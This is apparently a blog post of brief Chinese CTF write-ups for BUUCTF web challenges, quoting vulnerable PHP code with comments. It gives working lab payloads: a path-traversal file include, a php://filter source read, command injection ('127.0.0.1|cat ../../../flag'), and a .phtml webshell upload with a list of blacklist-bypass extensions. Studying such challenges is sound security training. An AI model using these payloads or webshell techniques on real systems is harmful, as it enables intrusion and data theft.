首页 > 其他分享 >BUUCTF WEB CTF

BUUCTF WEB CTF

时间:2022-11-27 16:57:40浏览次数:38  
标签:WEB BUUCTF return .. CTF PHP file php page

[极客大挑战 2019]EasySQL


[HCTF 2018]WarmUp

/source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {	// 或者不设置page,或者page不等于字符串时 就return 结束
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {	//page不能在数组里
				echo "yes1";
                return true;	//如果执行了return,则return 语句后面的内容将不会被执行了;
            }

            $_page = mb_substr(	//截取 $page 0,?出现的之前的字符串,相当于还是全部字符
                $page,
                0,
                mb_strpos($page . '?', '?')	//找page? 中第一次出现的位置 
            );
            if (in_array($_page, $whitelist)) {	//$_page 不能在白名单,否则return结束
                echo "yes2";
				return true;
            }

            $_page = urldecode($page);	// 解码一次$page
            $_page = mb_substr(	//这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {	/
                echo "yes3";
				return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])	//$file非空,并且是字符串,然后用checkfile过滤完
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];	//包含file文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

payload

source.php%3f../../../../../ffffllllaaaagggg

攻防世界 web 难度2

[极客大挑战 2019]Havefun

view-source

payload

[ACTF2020 新生赛]Include

php伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

flag

[ACTF2020 新生赛]Exec

命令拼接执行

127.0.0.1|ls ../../../

127.0.0.1|cat ../../../flag

2022 upload

上传过程

会重命名

查看源码猜测是前段白名单过滤验证

图片马绕过

抓包修改后缀

后端有验证

PHTML绕过

PHTML(有时叫做PHP)网页是一种包含PHP(一种和JavaScript或 Microsoft VBScript类似的语言)脚本的网页和ASP一样,PHP脚本镶嵌在网页的HTML代码之中。在页面被发送给请求的用户之前,网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.php3”或“.phtml”作为后缀。和ASP一样,PHP可以被认为是一种“动态网页”。

补充:黑名单绕过姿势
jsp asp php exe
jspx asa phtml exee
jspf cer php3
aspx php4
php5
上传图片马,修改格式为phtml

菜刀链接查看flag

后端php代码过滤分析
<?php
	error_reporting(0);
	//设置上传目录
	define("UPLOAD_PATH", "./uplo4d");
	$msg = "Upload Success!";
	if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];	//暂时存储文件的名字
        $file_name = $_FILES['upload_file']['name'];	//文件的名字
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {	//查看后缀是不是在名单内
	        exit('nonono~ Bad file!');	 //如果在数组内就结束执行
    	}
        $new_file_name = md5($file_name).".".$ext;	//md5文件名拼接上"."和变量ext
        $img_path = UPLOAD_PATH . '/' . $new_file_name;	//新文件名拼接路径 
        if (move_uploaded_file($temp_file, $img_path)){	//把文件移动到uplo4d顺便改名
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }
?>

?>

[极客大挑战 2019]BuyFlag

view-source/pay.php

绕过身份验证

弱类型比较和科学计算法绕过

标签:WEB,BUUCTF,return,..,CTF,PHP,file,php,page
From: https://www.cnblogs.com/1zpeasy/p/16929497.html

相关文章